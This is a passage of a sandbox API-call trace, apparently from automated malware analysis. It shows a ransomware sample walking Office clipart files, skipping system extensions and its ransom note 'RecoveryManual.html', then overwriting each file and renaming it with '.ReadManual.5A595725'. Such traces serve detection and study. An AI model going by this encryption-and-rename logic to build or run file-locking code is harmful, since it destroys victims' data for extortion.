(lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.ReadManual.5A595725") returned 87 [0266.614] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38728261402) returned 1 [0266.614] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf")) returned 0x20 [0266.614] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.614] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12308) returned 1 [0266.614] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3014, lpName=0x0) returned 0x184 [0266.614] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.615] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.615] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.617] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.617] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3014) returned 0x2f0000 [0266.617] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.618] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38728628816) returned 1 [0266.618] CloseHandle (hObject=0x184) returned 1 [0266.618] SetSecurityInfo () returned 0x57 [0266.618] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.618] CloseHandle (hObject=0x194) returned 1 [0266.618] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107300.WMF", cAlternateFileName="")) returned 1 [0266.618] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107300.WMF" | out: lpString1="J0107300.WMF") returned="J0107300.WMF" [0266.618] lstrcmpiW (lpString1="J0107300.WMF", lpString2="RecoveryManual.html") returned -1 [0266.618] StrStrIW (lpFirst="J0107300.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.618] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.618] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.618] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.618] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.618] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.618] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.618] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.618] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.618] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.618] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.618] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.618] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.618] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.618] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.618] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" [0266.618] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.ReadManual.5A595725" [0266.618] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.ReadManual.5A595725") returned 87 [0266.618] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38728725144) returned 1 [0266.619] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf")) returned 0x20 [0266.619] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.619] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2460) returned 1 [0266.619] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x99c, lpName=0x0) returned 0x184 [0266.619] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.620] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.620] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.621] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.621] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x99c) returned 0x2f0000 [0266.622] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.622] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38729033932) returned 1 [0266.622] CloseHandle (hObject=0x184) returned 1 [0266.622] SetSecurityInfo () returned 0x57 [0266.622] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.622] CloseHandle (hObject=0x194) returned 1 [0266.622] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107302.WMF", cAlternateFileName="")) returned 1 [0266.622] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107302.WMF" | out: lpString1="J0107302.WMF") returned="J0107302.WMF" [0266.622] lstrcmpiW (lpString1="J0107302.WMF", lpString2="RecoveryManual.html") returned -1 [0266.622] StrStrIW (lpFirst="J0107302.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.622] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.622] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.622] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.622] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.622] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.622] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.622] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.622] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.622] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.622] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.622] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.622] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.622] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.622] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.622] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" [0266.622] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.ReadManual.5A595725" [0266.622] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.ReadManual.5A595725") returned 87 [0266.623] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38729129442) returned 1 [0266.623] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf")) returned 0x20 [0266.623] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.624] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4136) returned 1 [0266.624] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1028, lpName=0x0) returned 0x184 [0266.624] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.624] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.624] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.626] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.627] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1028) returned 0x2f0000 [0266.627] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.627] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38729561650) returned 1 [0266.627] CloseHandle (hObject=0x184) returned 1 [0266.627] SetSecurityInfo () returned 0x57 [0266.627] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.627] CloseHandle (hObject=0x194) returned 1 [0266.627] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107308.WMF", cAlternateFileName="")) returned 1 [0266.627] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107308.WMF" | out: lpString1="J0107308.WMF") returned="J0107308.WMF" [0266.627] lstrcmpiW (lpString1="J0107308.WMF", lpString2="RecoveryManual.html") returned -1 [0266.627] StrStrIW (lpFirst="J0107308.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.627] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.627] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.627] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.627] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.627] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.627] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.627] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.628] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.628] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.628] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.628] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.628] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.628] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.628] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.628] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" [0266.628] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.ReadManual.5A595725" [0266.628] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.ReadManual.5A595725") returned 87 [0266.628] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38729657815) returned 1 [0266.628] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf")) returned 0x20 [0266.628] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.628] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15888) returned 1 [0266.628] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e10, lpName=0x0) returned 0x184 [0266.629] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.629] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.629] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.631] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.631] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e10) returned 0x2f0000 [0266.631] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.632] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38730035884) returned 1 [0266.632] CloseHandle (hObject=0x184) returned 1 [0266.632] SetSecurityInfo () returned 0x57 [0266.632] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.632] CloseHandle (hObject=0x194) returned 1 [0266.632] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107314.WMF", cAlternateFileName="")) returned 1 [0266.632] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107314.WMF" | out: lpString1="J0107314.WMF") returned="J0107314.WMF" [0266.632] lstrcmpiW (lpString1="J0107314.WMF", lpString2="RecoveryManual.html") returned -1 [0266.632] StrStrIW (lpFirst="J0107314.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.632] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.632] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.632] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.632] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.632] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.632] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.632] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.632] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.632] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.632] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.632] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.632] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.632] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.632] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.632] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" [0266.632] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.ReadManual.5A595725" [0266.633] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.ReadManual.5A595725") returned 87 [0266.633] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38730135318) returned 1 [0266.633] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf")) returned 0x20 [0266.633] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.633] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10852) returned 1 [0266.633] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a64, lpName=0x0) returned 0x184 [0266.633] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.634] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.634] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.636] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.636] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a64) returned 0x2f0000 [0266.636] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.636] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38730476663) returned 1 [0266.636] CloseHandle (hObject=0x184) returned 1 [0266.636] SetSecurityInfo () returned 0x57 [0266.636] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.636] CloseHandle (hObject=0x194) returned 1 [0266.636] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c18, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107316.WMF", cAlternateFileName="")) returned 1 [0266.638] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107316.WMF" | out: lpString1="J0107316.WMF") returned="J0107316.WMF" [0266.638] lstrcmpiW (lpString1="J0107316.WMF", lpString2="RecoveryManual.html") returned -1 [0266.638] StrStrIW (lpFirst="J0107316.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.638] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.638] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.638] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.638] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.638] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.638] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.638] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.638] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.638] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.638] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.638] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.638] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.638] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.638] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.638] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" [0266.638] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.ReadManual.5A595725" [0266.638] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF.ReadManual.5A595725") returned 87 [0266.638] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38730700747) returned 1 [0266.638] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf")) returned 0x20 [0266.638] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.639] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11288) returned 1 [0266.639] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c18, lpName=0x0) returned 0x184 [0266.639] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.639] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.640] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.641] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, 